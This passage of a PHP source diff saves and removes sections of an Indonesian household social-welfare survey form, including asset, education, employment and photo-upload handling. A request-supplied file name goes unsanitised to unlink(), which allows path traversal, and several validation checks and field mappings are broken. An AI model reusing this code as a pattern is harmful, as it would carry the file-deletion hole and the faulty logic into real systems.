$ref_eloquent_collection); + } + + $dtks_anggota = $this->syncKesehatan($dtks_anggota, $agt, $daftar_sakit_menahun); + $dtks_anggota = $this->syncProgramPerlindunganSosial($dtks_anggota, $agt, $kepala_keluarga, $ref_eloquent_collection); + + $dtks_anggotas[] = $dtks_anggota; + } + + // save and sync dtks with dtks anggota + $dtks->dtksAnggota()->saveMany($dtks_anggotas); + + return $this->syncKepesertaanProgramKeluarga($dtks); + } + + /** + * Save Data in Form RegsosEk2022k + * + * @param \App\Models\Dtks $dtks + * @param array $request + * + * @return array['content' => '', 'header_code' => ''] + */ + public function save($request, ?Dtks $dtks = null): array + { + $tipe = [ + 'bagian1', + 'bagian2', + 'bagian3', + 'bagian5', + 'bagian6', + 'bagian7_upload', + 'bagian4_demografi', + 'bagian4_pendidikan', + 'bagian4_ketenagakerjaan', + 'bagian4_kepemilikan_usaha', + 'bagian4_kesehatan', + 'bagian4_program_perlindungan_sosial', + 'pengaturan_program', + ]; + if (! in_array($request['tipe_save'], $tipe)) { + return ['content' => ['message' => 'Tipe tidak ditemukan'], 'header_code' => 406]; + } + + // contoh = saveBagian2 + $method = Str::camel('save_' . $request['tipe_save']); + if (! method_exists($this, $method)) { + return ['content' => ['message' => 'Proses simpan pada bagian ini tidak ditemukan, silahkan hubungi developer'], 'header_code' => 404]; + } + + try { + if ($dtks == null) { + return $this->{$method}($request); + } + + return $this->{$method}($dtks, $request); + } catch (Throwable $th) { + log_message('error', $th); + + return ['content' => ['message' => 'Terjadi Error, silahkan hubungi developer'], 'header_code' => 500]; + } + } + + /** + * Remove Some Data + * + * @param array $request + * + * @return array['content' => '', 'header_code' => ''] + */ + public function remove(Dtks $dtks, $request): array + { + $tipe = [ + 'lampiran', + ]; + if (! in_array($request['tipe_remove'], $tipe)) { + return ['content' => ['message' => 'Tipe tidak ditemukan'], 'header_code' => 406]; + } + + $method = Str::camel('remove_' . $request['tipe_remove']); + if (! method_exists($this, $method)) { + return ['content' => ['message' => 'Proses remove pada bagian ini tidak ditemukan, silahkan hubungi developper'], 'header_code' => 404]; + } + + return $this->{$method}($dtks, $request); + } + + protected function removeLampiran(Dtks $dtks, $request) + { + $lampiran_id = bilangan($request['lampiran_id']); + + if ($lampiran_id == null) { + return ['content' => ['message' => 'ID Lampiran salah'], 'header_code' => 404]; + } + + $lampiran = DtksLampiran::withCount('dtks')->where('id', $lampiran_id)->first(); + + if (! $lampiran) { + return ['content' => ['message' => 'Lampiran tidak ditemukan'], 'header_code' => 404]; + } + // kalau lampiran hanya terkait di dtks ini hapus file dan lampiran + if ($lampiran->dtks_count == 1) { + $path = FCPATH . LOKASI_FOTO_DTKS . $lampiran->foto; + $path = FCPATH . LOKASI_FOTO_DTKS . 'kecil_' . $lampiran->foto; + file_exists($path) && unlink($path); + file_exists($path) && unlink($path); + + $lampiran->delete(); + } else { + // lepaskan lampiran dari dtks ini + $dtks->lampiran()->detach($lampiran_id); + } + + return ['content' => ['message' => 'Berhasil dihapus', 'data' => $lampiran], 'header_code' => 200]; + } + + /** + * @param array $request + * + * @return array['content' => '', 'header_code' => ''] + */ + protected function saveBagian1(Dtks $dtks, $request) + { + $message = []; + + foreach ($request['input']['1'] as $key => $input) { + if (in_array($key, ['105', '105sub'])) { + $request['input']['1'][$key] = alfanumerik($input); + } + if (in_array($key, ['105']) && strlen($request['input']['1']['105']) > 4) { + $message[] = "No.{$key}: Kode SLS/Non SLS maksimal 4 huruf/angka"; + } + if (in_array($key, ['105sub']) && strlen($request['input']['1']['105sub']) > 2) { + $message[] = "No.{$key}: Kode Sub SLS maksimal 2 huruf/angka"; + } + if (in_array($key, ['106', '107'])) { + $request['input']['1'][$key] = alamat($input); + } + if (in_array($key, ['106']) && strlen($request['input']['1']['106']) > 100) { + $message[] = "No.{$key}: Nama SLS/Non SLS maksimal 100 huruf/angka/spasi/titik/koma/tanda petik/strip/garis miring"; + } + if (in_array($key, ['109', '110']) && $input != '' && ! is_numeric($input) && strlen($request['input']['1'][$key]) < 0 && strlen($request['input']['1'][$key]) > 999) { + $message[] = "No.{$key}: Harus berisi angka, minimal 1 angka dan maksimal 3 angka"; + } + if (in_array($key, ['111']) && strlen($request['input']['1']['111']) > 1) { + $message[] = "No.{$key}: Maksimal 1 huruf/angka"; + } + if (in_array($key, ['113']) && strlen($request['input']['1']['113']) > 6) { + $message[] = "No.{$key}: Maksimal 6 huruf/angka"; + } + } + + if ($request['pilihan']['1']['115'] != '' && ! array_key_exists($request['pilihan']['1']['115'], Regsosek2022kEnum::pilihanBagian1()['115'])) { + $message[] = 'Kode Kartu Keluarga: Pilihan tidak ditemukan'; + } + + if (count($message) > 0) { + return ['content' => ['message' => $message], 'header_code' => 406]; + } + + // validasi ada di perulangan diatas + $dtks->kode_sls_non_sls = $this->null_or_value($request['input']['1']['105']); + $dtks->kode_sub_sls = $this->null_or_value($request['input']['1']['105sub']); + $dtks->nama_sls_non_sls = $this->null_or_value($request['input']['1']['106']); + // $dtks->alamat = $this->null_or_value($request['input']['1']['107']); + $dtks->no_urut_bangunan_tinggal = $this->null_or_value($request['input']['1']['109']); + $dtks->no_urut_keluarga_verif = $this->null_or_value($request['input']['1']['110']); + $dtks->status_keluarga = $this->null_or_value($request['input']['1']['111']); + $dtks->kode_landmark_wilkerstat = $this->null_or_value($request['input']['1']['113']); + $dtks->kd_kk = $this->null_or_value($request['pilihan']['1']['115']); + + $this->saveRelatedAttribute($dtks); + + return ['content' => ['message' => 'Berhasil disimpan'], 'header_code' => 200]; + } + + /** + * @param array $request + * + * @return array['content' => '', 'header_code' => ''] + */ + protected function saveBagian2(Dtks $dtks, $request) + { + $message = []; + + foreach ($request['input']['2'] as $key => $input) { + if (in_array($key, ['201', '203']) && $input != '' && validate_date($input)) { + $message[] = "No.{$key}: Tanggal tidak sesuai "; + } + if (in_array($key, ['202', '204', 'responden']) && $input != '' && cekNama($input)) { + $message[] = ($key == 'responden' ? 'Responden' : 'No.' . $key) . + ': Nama hanya boleh berisi karakter alpha, spasi, titik, koma, tanda petik dan strip '; + } + if (in_array($key, ['202', '204' . 'responden'])) { + $request['input']['2'][$key] = nama($input); + } + if (in_array($key, ['202a', '402a'])) { + $request['input']['2'][$key] = alfanumerik($input); + } + if (in_array($key, ['202a']) && strlen($request['input']['2']['202a']) > 4) { + $message[] = "No.{$key}: Kode pencacah maksimal 4 huruf/angka"; + } + if (in_array($key, ['204a']) && strlen($request['input']['2']['204a']) > 3) { + $message[] = "No.{$key}: Kode pemeriksa maksimal 3 huruf/angka"; + } + if (in_array($key, ['responden_hp']) && strlen($request['input']['2']['responden_hp']) > 16) { + $message[] = "No.{$key}: Nomor Hp maksimal 16 angka"; + } + } + + if ($request['pilihan']['2']['205'] != '' && ! array_key_exists($request['pilihan']['2']['205'], Regsosek2022kEnum::pilihanBagian2()['205'])) { + $message[] = 'Hasil pendataan keluarga: Pilihan tidak ditemukan'; + } + + if (count($message) > 0) { + return ['content' => ['message' => $message], 'header_code' => 406]; + } + + // validasi ada di perulangan diatas + $dtks->tanggal_pendataan = $this->null_or_value($request['input']['2']['201']); + $dtks->nama_ppl = $this->null_or_value($request['input']['2']['202']); + $dtks->kode_ppl = $this->null_or_value($request['input']['2']['202a']); + $dtks->tanggal_pemeriksaan = $this->null_or_value($request['input']['2']['203']); + $dtks->nama_pml = $this->null_or_value($request['input']['2']['204']); + $dtks->kode_pml = $this->null_or_value($request['input']['2']['204a']); + $dtks->nama_responden = $this->null_or_value($request['input']['2']['responden']); + $dtks->no_hp_responden = $this->null_or_value($request['input']['2']['responden_hp']); + $dtks->kd_hasil_pendataan_keluarga = $this->null_or_value($request['pilihan']['2']['205']); + + $this->saveRelatedAttribute($dtks); + + return ['content' => ['message' => 'Berhasil disimpan'], 'header_code' => 200]; + } + + /** + * @param array $request + * + * @return array['content' => '', 'header_code' => ''] + */ + protected function saveBagian3(Dtks $dtks, $request) + { + $message = []; + + foreach ($request['input']['3'] as $key => $input) { + if (in_array($key, ['302']) && $input != '' && ! is_numeric($input)) { + $message[] = "No.{$key}: Tidak sesuai "; + } + if (in_array($key, ['302']) && strlen($request['input']['3']['302']) > 3) { + $message[] = "No.{$key}: Luas lantai maksimal 3 angka"; + } + } + + foreach ($request['pilihan']['3'] as $key => $input) { + if ($input != '' && ! array_key_exists($input, Regsosek2022kEnum::pilihanBagian3()["{$key}"])) { + $message[] = "No {$key}: Pilihan tidak ditemukan"; + } + } + + if (count($message) > 0) { + return ['content' => ['message' => $message], 'header_code' => 406]; + } + + $dtks->kd_stat_bangunan_tinggal = $this->null_or_value($request['pilihan']['3']['301a']); + $dtks->kd_sertiv_lahan_milik = in_array($dtks->kd_stat_bangunan_tinggal, ['1']) + ? $this->null_or_value($request['pilihan']['3']['301b']) + : null; + $dtks->luas_lantai = $this->null_or_value(bilangan($request['input']['3']['302'])); + $dtks->kd_jenis_lantai_terluas = $this->null_or_value($request['pilihan']['3']['303']); + $dtks->kd_jenis_dinding = $this->null_or_value($request['pilihan']['3']['304']); + $dtks->kd_jenis_atap = $this->null_or_value($request['pilihan']['3']['305']); + $dtks->kd_sumber_air_minum = $this->null_or_value($request['pilihan']['3']['306a']); + $dtks->kd_jarak_sumber_air_ke_tpl = in_array($dtks->kd_sumber_air_minum, ['4', '5', '6', '7', '8']) + ? $this->null_or_value($request['pilihan']['3']['306b']) + : null; + $dtks->kd_sumber_penerangan_utama = $this->null_or_value($request['pilihan']['3']['307a']); + $dtks->kd_daya_terpasang = in_array($dtks->kd_sumber_penerangan_utama, ['1']) + ? $this->null_or_value($request['pilihan']['3']['307b1']) + : null; + $dtks->kd_daya_terpasang2 = in_array($dtks->kd_sumber_penerangan_utama, ['1']) + ? $this->null_or_value($request['pilihan']['3']['307b2']) + : null; + $dtks->kd_daya_terpasang3 = in_array($dtks->kd_sumber_penerangan_utama, ['1']) + ? $this->null_or_value($request['pilihan']['3']['307b3']) + : null; + $dtks->kd_bahan_bakar_memasak = $this->null_or_value($request['pilihan']['3']['308']); + $dtks->kd_fasilitas_tempat_bab = $this->null_or_value($request['pilihan']['3']['309a']); + $dtks->kd_jenis_kloset = in_array($dtks->kd_fasilitas_tempat_bab, ['1', '2', '3']) + ? $this->null_or_value($request['pilihan']['3']['309b']) + : null; + $dtks->kd_pembuangan_akhir_tinja = $this->null_or_value($request['pilihan']['3']['310']); + + $this->saveRelatedAttribute($dtks); + + return ['content' => ['message' => 'Berhasil disimpan'], 'header_code' => 200]; + } + + /** + * @param array $request + * + * @return array['content' => '', 'header_code' => ''] + */ + protected function saveBagian5(Dtks $dtks, $request) + { + $message = []; + + foreach ($request['input']['5'] as $key => $input) { + if (in_array($key, ['504a', '504b', '504c', '504d', '504e']) && $input == '') { + $request['input']['5'][$key] = 0; + } + if (in_array($key, ['504a', '504b', '504c', '504d', '504e']) && $input != '' && ! is_numeric($input) && $input < 0 && $input > 999) { + $message[] = "No.{$key}: {$input} Tidak sesuai, Minimal 0 dan Maksimal 999"; + } + } + + foreach ($request['pilihan']['5'] as $key => $input) { + if ($input != '' && in_array($key, [ + '501a_dapat', '501b_dapat', '501c_dapat', '501d_dapat', '501e_dapat', '501f_dapat', '501g_dapat', + '502a', '502b', '502c', '502d', '502e', '502f', '502g', '502h', '502i', '502j', '502k', '502l', '502m', '502n', + '503a', '503b', + ])) { + if (! array_key_exists($input, Regsosek2022kEnum::YA_TIDAK)) { + $message[] = "No {$key}: Pilihan yg tersedia hanya ya atau tidak"; + } + } elseif ($input != '' && similar_text($key, '_bulan') == strlen('_bulan')) { + if (! array_key_exists($input, bulan())) { + $message[] = "No {$key}: Bulan salah"; + } + } elseif ($input != '' && similar_text($key, '_tahun') == strlen('_tahun')) { + if (! validate_date($input, 'Y')) { + $message[] = "No {$key}: Tahun salah"; + } + } elseif ($input != '' && ! array_key_exists($input, Regsosek2022kEnum::pilihanBagian5()["{$key}"])) { + $message[] = "No {$key}: Pilihan tidak ditemukan"; + } + } + + if (count($message) > 0) { + return ['content' => ['message' => $message], 'header_code' => 406]; + } + + $dtks->kd_bss_bnpt = $this->null_or_value($request['pilihan']['5']['501a_dapat']); + $dtks->kd_pkh = $this->null_or_value($request['pilihan']['5']['501b_dapat']); + $dtks->kd_blt_dana_desa = $this->null_or_value($request['pilihan']['5']['501c_dapat']); + $dtks->kd_subsidi_listrik = $this->null_or_value($request['pilihan']['5']['501d_dapat']); + $dtks->kd_bantuan_pemda = $this->null_or_value($request['pilihan']['5']['501e_dapat']); + $dtks->kd_subsidi_pupuk = $this->null_or_value($request['pilihan']['5']['501f_dapat']); + $dtks->kd_subsidi_lpg = $this->null_or_value($request['pilihan']['5']['501g_dapat']); + + $dtks->bulan_bss_bnpt = $this->null_or_value($request['pilihan']['5']['501a_bulan']); + $dtks->bulan_pkh = $this->null_or_value($request['pilihan']['5']['501b_bulan']); + $dtks->bulan_blt_dana_desa = $this->null_or_value($request['pilihan']['5']['501c_bulan']); + $dtks->bulan_subsidi_listrik = $this->null_or_value($request['pilihan']['5']['501d_bulan']); + $dtks->bulan_bantuan_pemda = $this->null_or_value($request['pilihan']['5']['501e_bulan']); + $dtks->bulan_subsidi_pupuk = $this->null_or_value($request['pilihan']['5']['501f_bulan']); + $dtks->bulan_subsidi_lpg = $this->null_or_value($request['pilihan']['5']['501g_bulan']); + + $dtks->tahun_bss_bnpt = $this->null_or_value($request['pilihan']['5']['501a_tahun']); + $dtks->tahun_pkh = $this->null_or_value($request['pilihan']['5']['501b_tahun']); + $dtks->tahun_blt_dana_desa = $this->null_or_value($request['pilihan']['5']['501c_tahun']); + $dtks->tahun_subsidi_listrik = $this->null_or_value($request['pilihan']['5']['501d_tahun']); + $dtks->tahun_bantuan_pemda = $this->null_or_value($request['pilihan']['5']['501e_tahun']); + $dtks->tahun_subsidi_pupuk = $this->null_or_value($request['pilihan']['5']['501f_tahun']); + $dtks->tahun_subsidi_lpg = $this->null_or_value($request['pilihan']['5']['501g_tahun']); + + $dtks->kd_tabung_gas_5_5_kg = $this->null_or_value($request['pilihan']['5']['502a']); + $dtks->kd_lemari_es = $this->null_or_value($request['pilihan']['5']['502b']); + $dtks->kd_ac = $this->null_or_value($request['pilihan']['5']['502c']); + $dtks->kd_pemanas_air = $this->null_or_value($request['pilihan']['5']['502d']); + $dtks->kd_telepon_rumah = $this->null_or_value($request['pilihan']['5']['502d']); + $dtks->kd_televisi = $this->null_or_value($request['pilihan']['5']['502e']); + $dtks->kd_perhiasan_10_gr_emas = $this->null_or_value($request['pilihan']['5']['502f']); + $dtks->kd_komputer_laptop = $this->null_or_value($request['pilihan']['5']['502g']); + $dtks->kd_sepeda_motor = $this->null_or_value($request['pilihan']['5']['502h']); + $dtks->kd_sepeda = $this->null_or_value($request['pilihan']['5']['502i']); + $dtks->kd_mobil = $this->null_or_value($request['pilihan']['5']['502k']); + $dtks->kd_perahu = $this->null_or_value($request['pilihan']['5']['502l']); + $dtks->kd_kapal_perahu_motor = $this->null_or_value($request['pilihan']['5']['502m']); + $dtks->kd_smartphone = $this->null_or_value($request['pilihan']['5']['502n']); + + $dtks->jumlah_sapi = $this->null_or_value(bilangan($request['input']['5']['504a'])); + $dtks->jumlah_kerbau = $this->null_or_value(bilangan($request['input']['5']['504b'])); + $dtks->jumlah_kuda = $this->null_or_value(bilangan($request['input']['5']['504c'])); + $dtks->jumlah_babi = $this->null_or_value(bilangan($request['input']['5']['504d'])); + $dtks->jumlah_kambing_domba = $this->null_or_value(bilangan($request['input']['5']['504e'])); + + $dtks->kd_lahan = $this->null_or_value($request['pilihan']['5']['503a']); + $dtks->kd_rumah_ditempat_lain = $this->null_or_value($request['pilihan']['5']['503b']); + $dtks->kd_internet_sebulan = $this->null_or_value($request['pilihan']['5']['505']); + $dtks->kd_rek_aktif = $this->null_or_value($request['pilihan']['5']['506']); + + $this->saveRelatedAttribute($dtks); + + return ['content' => ['message' => 'Berhasil disimpan'], 'header_code' => 200]; + } + + /** + * @param array $request + * + * @return array['content' => '', 'header_code' => ''] + */ + protected function saveBagian6(Dtks $dtks, $request) + { + $message = []; + + if ($request['catatan'] == '') { + $message[] = 'Catatan tidak boleh kosong'; + } + + if (count($message) > 0) { + return ['content' => ['message' => $message], 'header_code' => 406]; + } + + $dtks->catatan = $this->null_or_value(alamat($request['catatan'])); + + $this->saveRelatedAttribute($dtks); + + return ['content' => ['message' => 'Berhasil disimpan'], 'header_code' => 200]; + } + + /** + * @param array $request + * + * @return array['content' => '', 'header_code' => ''] + */ + protected function saveBagian7Upload(Dtks $dtks, $request) + { + $message = []; + + $kamera = $request['file_path']; + $unggah_foto = $_FILES['foto']; + $old_foto = $request['old_foto']; + $nama_file = time() . mt_rand(10000, 999999); + $judul = nama($request['judul_foto']); + $keterangan = alamat($request['keterangan_foto']); + $tempat_file = LOKASI_FOTO_DTKS; + + if ($keterangan == '') { + return ['content' => ['message' => 'Keterangan harus diisi'], 'header_code' => 406]; + } + + // Buat folder desa/upload/dtks apabila belum ada + if (! file_exists(LOKASI_FOTO_DTKS)) { + mkdir(LOKASI_FOTO_DTKS, 0755); + } + // Buat folder desa/upload/dtks/{id_dtks} apabila belum ada + if (! file_exists($tempat_file)) { + mkdir($tempat_file, 0755); + } + + if ($unggah_foto['error'] == 0) { + $nama_file = $nama_file . get_extension($unggah_foto['name']); + + $tipe_file = TipeFile($unggah_foto); + $dimensi = ['width' => 200, 'height' => 200]; + if ($old_foto != '') { + // Hapus old_foto + unlink($tempat_file . $old_foto); + $old_foto = 'kecil_' . $old_foto; + } + $nama_simpan = 'kecil_' . $nama_file; + + if (! UploadResizeImage($tempat_file, $dimensi, 'foto', $nama_file, $nama_simpan, $old_foto, $tipe_file)) { + $message[] = $_SESSION['error_msg']; + unset($_SESSION['error_msg'], $_SESSION['success']); + } + } else { + $nama_file = $nama_file . '.png'; + $foto = str_replace('data:image/png;base64,', '', $kamera); + $foto = base64_decode($foto, true); + + if ($foto == '') { + $message[] = 'Foto belum dipilih/direkam'; + } + + if ($old_foto != '') { + // Hapus old_foto + unlink($tempat_file . $old_foto); + unlink($tempat_file . 'kecil_' . $old_foto); + } + + file_put_contents($tempat_file . $nama_file, $foto); + file_put_contents($tempat_file . 'kecil_' . $nama_file, $foto); + } + + if (count($message) > 0) { + unlink($tempat_file . $nama_file, $foto); + unlink($tempat_file . 'kecil_' . $nama_file, $foto); + + return ['content' => ['message' => $message], 'header_code' => 406]; + } + + $lampiran = DtksLampiran::create([ + 'judul' => $judul, + 'keterangan' => $keterangan, + 'foto' => $nama_file, + 'id_rtm' => $dtks->rtm->id, + ]); + + // simpan + $dtks->lampiran()->attach($lampiran->id); + + // panggil getFilKecilAttribute() + $lampiran->foto_kecil = $lampiran->foto_kecil; + + return ['content' => ['message' => 'Berhasil disimpan', 'data' => $lampiran], 'header_code' => 200]; + } + + /** + * @param array $request + * + * @return array['content' => '', 'header_code' => ''] + */ + protected function saveBagian4Demografi(Dtks $dtks, $request) + { + $message = []; + + foreach ($request['pilihan']['4'] as $key => $input) { + if ( + $input != '' && in_array($key, ['404', '408', '409', '410']) + && ! array_key_exists($input, Regsosek2022kEnum::pilihanBagian4()["{$key}"]) + ) { + $message[] = "No {$key}: Pilihan tidak ditemukan"; + } + if ($input != '' && in_array($key, ['411'])) { + $keys = explode(',', $input); + + foreach ($keys as $item) { + if (! array_key_exists($item, Regsosek2022kEnum::pilihanBagian4()['411'])) { + $message[] = "No {$key}: Pilihan tidak ditemukan"; + } + } + } + } + + if (count($message) > 0) { + return ['content' => ['message' => $message], 'header_code' => 406]; + } + + $selected_anggota = $dtks->dtksAnggota->where('id', $request['id_art'])->first(); + $umur = $selected_anggota->umur; + + if (! $selected_anggota) { + return ['content' => ['message' => 'Anggota keluarga tidak ditemukan'], 'header_code' => 406]; + } + + $selected_anggota->kd_ket_keberadaan_art = $this->null_or_value($request['pilihan']['4']['404']); + // $selected_anggota->kd_stat_perkawinan = $this->null_or_value($request['pilihan']['4']['408']); + $selected_anggota->kd_hubungan_dg_kk = $this->null_or_value($request['pilihan']['4']['409']); + // $selected_anggota->kd_status_kehamilan = ($umur >= 10 && $umur <= 54 && in_array($selected_anggota->kd_stat_perkawinan, ['2', '3', '4']) && $selected_anggota->kd_jenis_kelamin == 2) + // ? $this->null_or_value($request['pilihan']['4']['410']) + // : null; + $selected_anggota->kd_punya_kartuid = ($request['pilihan']['4']['411'] != '') + ? $this->null_or_value(array_sum(explode(',', $request['pilihan']['4']['411']))) + : null; + + $this->saveRelatedAttribute($selected_anggota); + + $new_data = [ + 'id' => $selected_anggota->id, + 'kd_ket_keberadaan_art' => $selected_anggota->kd_ket_keberadaan_art, + // 'kd_stat_perkawinan' => $selected_anggota->kd_stat_perkawinan, + 'kd_hubungan_dg_kk' => $selected_anggota->kd_hubungan_dg_kk, + // 'kd_status_kehamilan' => $selected_anggota->kd_status_kehamilan, + 'kd_punya_kartuid' => $selected_anggota->kd_punya_kartuid, + ]; + + return ['content' => ['message' => 'Berhasil disimpan', 'new_data' => $new_data], 'header_code' => 200]; + } + + /** + * @param array $request + * + * @return array['content' => '', 'header_code' => ''] + */ + protected function saveBagian4Pendidikan(Dtks $dtks, $request) + { + $message = []; + + foreach ($request['pilihan']['4'] as $key => $input) { + if ($input != '' && ! array_key_exists($input, Regsosek2022kEnum::pilihanBagian4()["{$key}"])) { + $message[] = "No {$key}: Pilihan tidak ditemukan"; + } + } + + if (count($message) > 0) { + return ['content' => ['message' => $message], 'header_code' => 406]; + } + + $selected_anggota = $dtks->dtksAnggota->where('id', $request['id_art'])->first(); + $umur = $selected_anggota->umur; + + if (! $selected_anggota) { + return ['content' => ['message' => 'Anggota keluarga tidak ditemukan'], 'header_code' => 406]; + } + + $selected_anggota->kd_partisipasi_sekolah = $umur >= 5 + ? $this->null_or_value($request['pilihan']['4']['412']) + : null; + $selected_anggota->kd_pendidikan_tertinggi = $umur >= 5 && in_array($selected_anggota->kd_partisipasi_sekolah, ['2', '3']) + ? $this->null_or_value($request['pilihan']['4']['413']) + : null; + $selected_anggota->kd_kelas_tertinggi = $umur >= 5 && in_array($selected_anggota->kd_partisipasi_sekolah, ['2', '3']) + ? $this->null_or_value($request['pilihan']['4']['414']) + : null; + $selected_anggota->kd_ijazah_tertinggi = $umur >= 5 && in_array($selected_anggota->kd_partisipasi_sekolah, ['2', '3']) + ? $this->null_or_value($request['pilihan']['4']['415']) + : null; + + $this->saveRelatedAttribute($selected_anggota); + + $new_data = [ + 'id' => $selected_anggota->id, + 'kd_partisipasi_sekolah' => $selected_anggota->kd_partisipasi_sekolah, + 'kd_pendidikan_tertinggi' => $selected_anggota->kd_pendidikan_tertinggi, + 'kd_kelas_tertinggi' => $selected_anggota->kd_kelas_tertinggi, + 'kd_ijazah_tertinggi' => $selected_anggota->kd_ijazah_tertinggi, + ]; + + return ['content' => ['message' => 'Berhasil disimpan', 'new_data' => $new_data], 'header_code' => 200]; + } + + /** + * @param array $request + * + * @return array['content' => '', 'header_code' => ''] + */ + protected function saveBagian4Ketenagakerjaan(Dtks $dtks, $request) + { + $message = []; + + foreach ($request['pilihan']['4'] as $key => $input) { + if ($input != '' && ! array_key_exists($input, Regsosek2022kEnum::pilihanBagian4()["{$key}"])) { + $message[] = "No {$key}: Pilihan tidak ditemukan"; + } + } + + if (count($message) > 0) { + return ['content' => ['message' => $message], 'header_code' => 406]; + } + + $selected_anggota = $dtks->dtksAnggota->where('id', $request['id_art'])->first(); + $umur = $selected_anggota->umur; + + if (! $selected_anggota) { + return ['content' => ['message' => 'Anggota keluarga tidak ditemukan'], 'header_code' => 406]; + } + + $selected_anggota->kd_bekerja_seminggu_lalu = $umur >= 5 + ? $this->null_or_value($request['pilihan']['4']['416a']) + : null; + $selected_anggota->jumlah_jam_kerja_seminggu_lalu = $umur >= 5 && in_array($selected_anggota->kd_bekerja_seminggu_lalu, ['1']) + ? $this->null_or_value(bilangan($request['input']['4']['416b'])) + : null; + $selected_anggota->kd_lapangan_usaha_pekerjaan = $umur >= 5 && in_array($selected_anggota->kd_bekerja_seminggu_lalu, ['1']) + ? $this->null_or_value($request['pilihan']['4']['417']) + : null; + $selected_anggota->tulis_lapangan_usaha_pekerjaan = $umur >= 5 && in_array($selected_anggota->kd_bekerja_seminggu_lalu, ['1']) + ? alamat($request['input']['4']['lapangan_usaha_pekerjaan']) + : ''; + $selected_anggota->kd_kedudukan_di_pekerjaan = $umur >= 5 && in_array($selected_anggota->kd_bekerja_seminggu_lalu, ['1']) + ? $this->null_or_value($request['pilihan']['4']['418']) + : null; + $selected_anggota->kd_punya_npwp = $umur >= 5 + ? $this->null_or_value($request['pilihan']['4']['419']) + : null; + + $this->saveRelatedAttribute($selected_anggota); + + $new_data = [ + 'id' => $selected_anggota->id, + 'kd_bekerja_seminggu_lalu' => $selected_anggota->kd_bekerja_seminggu_lalu, + 'jumlah_jam_kerja_seminggu_lalu' => $selected_anggota->jumlah_jam_kerja_seminggu_lalu, + 'kd_lapangan_usaha_pekerjaan' => $selected_anggota->kd_lapangan_usaha_pekerjaan, + 'tulis_lapangan_usaha_pekerjaan' => $selected_anggota->tulis_lapangan_usaha_pekerjaan, + 'kd_kedudukan_di_pekerjaan' => $selected_anggota->kd_kedudukan_di_pekerjaan, + 'kd_punya_npwp' => $selected_anggota->kd_punya_npwp, + ]; + + return ['content' => ['message' => 'Berhasil disimpan', 'new_data' => $new_data], 'header_code' => 200]; + } + + /** + * @param array $request + * + * @return array['content' => '', 'header_code' => ''] + */ + protected function saveBagian4KepemilikanUsaha(Dtks $dtks, $request) + { + $message = []; + + foreach ($request['input']['4'] as $key => $input) { + if (in_array($key, ['420b', '423']) && $input != '' && ! is_numeric($input) && strlen($request['input']['4'][$key]) > 2) { + $message[] = "No.{$key}: {$input} Tidak sesuai, maksimal 99"; + } + if (in_array($key, ['422']) && $input != '' && ! is_numeric($input) && strlen($request['input']['4'][$key]) > 3) { + $message[] = "No.{$key}: {$input} Tidak sesuai, maksimal 999"; + } + } + + foreach ($request['pilihan']['4'] as $key => $input) { + if ($input != '' && in_array($key, ['426'])) { + $keys = explode(',', $input); + + foreach ($keys as $item) { + if (! array_key_exists($item, Regsosek2022kEnum::pilihanBagian4()['426'])) { + $message[] = "No {$key}: Pilihan tidak ditemukan"; + } + } + } + if ($input != '' && ! in_array($key, ['426']) && ! array_key_exists($input, Regsosek2022kEnum::pilihanBagian4()["{$key}"])) { + $message[] = "No {$key}: Pilihan tidak ditemukan"; + } + } + + if (count($message) > 0) { + return ['content' => ['message' => $message], 'header_code' => 406]; + } + + $selected_anggota = $dtks->dtksAnggota->where('id', $request['id_art'])->first(); + $umur = $selected_anggota->umur; + + if (! $selected_anggota) { + return ['content' => ['message' => 'Anggota keluarga tidak ditemukan'], 'header_code' => 406]; + } + + $selected_anggota->kd_punya_usaha_sendiri_bersama = $umur >= 5 + ? $this->null_or_value($request['pilihan']['4']['420a']) + : null; + $selected_anggota->jumlah_usaha_sendiri_bersama = $umur >= 5 && bilangan($request['input']['4']['420b']) == null && in_array($selected_anggota->kd_punya_usaha_sendiri_bersama, ['1']) + ? 0 : $this->null_or_value(bilangan($request['input']['4']['420b'])); + $selected_anggota->kd_lapangan_usaha_dr_usaha = $umur >= 5 && in_array($selected_anggota->kd_punya_usaha_sendiri_bersama, ['1']) + ? $this->null_or_value($request['pilihan']['4']['421']) + : null; + $selected_anggota->tulis_lapangan_usaha_dr_usaha = $umur >= 5 && in_array($selected_anggota->kd_punya_usaha_sendiri_bersama, ['1']) + ? alamat($request['input']['4']['lapangan_usaha_dr_usaha']) + : ''; + $selected_anggota->jumlah_pekerja_dibayar = $umur >= 5 && bilangan($request['input']['4']['422']) == null && in_array($selected_anggota->kd_punya_usaha_sendiri_bersama, ['1']) + ? 0 : bilangan(bilangan($request['input']['4']['422'])); + $selected_anggota->jumlah_pekerja_tidak_dibayar = $umur >= 5 && bilangan($request['input']['4']['423']) == null && in_array($selected_anggota->kd_punya_usaha_sendiri_bersama, ['1']) + ? 0 : bilangan(bilangan($request['input']['4']['423'])); + $selected_anggota->kd_kepemilikan_ijin_usaha = $umur >= 5 && in_array($selected_anggota->kd_punya_usaha_sendiri_bersama, ['1']) + ? $this->null_or_value($request['pilihan']['4']['424']) + : null; + $selected_anggota->kd_omset_usaha_perbulan = $umur >= 5 && in_array($selected_anggota->kd_punya_usaha_sendiri_bersama, ['1']) + ? $this->null_or_value($request['pilihan']['4']['425']) + : null; + $selected_anggota->kd_guna_internet_usaha = $umur >= 5 && in_array($selected_anggota->kd_punya_usaha_sendiri_bersama, ['1']) && ($request['pilihan']['4']['426'] != '') + ? $this->null_or_value(array_sum(explode(',', $request['pilihan']['4']['426']))) + : null; + + $this->saveRelatedAttribute($selected_anggota); + + $new_data = [ + 'id' => $selected_anggota->id, + 'kd_punya_usaha_sendiri_bersama' => $selected_anggota->kd_punya_usaha_sendiri_bersama, + 'jumlah_usaha_sendiri_bersama' => $selected_anggota->jumlah_usaha_sendiri_bersama, + 'kd_lapangan_usaha_dr_usaha' => $selected_anggota->kd_lapangan_usaha_dr_usaha, + 'tulis_lapangan_usaha_dr_usaha' => $selected_anggota->tulis_lapangan_usaha_dr_usaha, + 'jumlah_pekerja_dibayar' => $selected_anggota->jumlah_pekerja_dibayar, + 'jumlah_pekerja_tidak_dibayar' => $selected_anggota->jumlah_pekerja_tidak_dibayar, + 'kd_kepemilikan_ijin_usaha' => $selected_anggota->kd_kepemilikan_ijin_usaha, + 'kd_omset_usaha_perbulan' => $selected_anggota->kd_omset_usaha_perbulan, + 'kd_guna_internet_usaha' => $selected_anggota->kd_guna_internet_usaha, + ]; + + return ['content' => ['message' => 'Berhasil disimpan', 'new_data' => $new_data], 'header_code' => 200]; + } 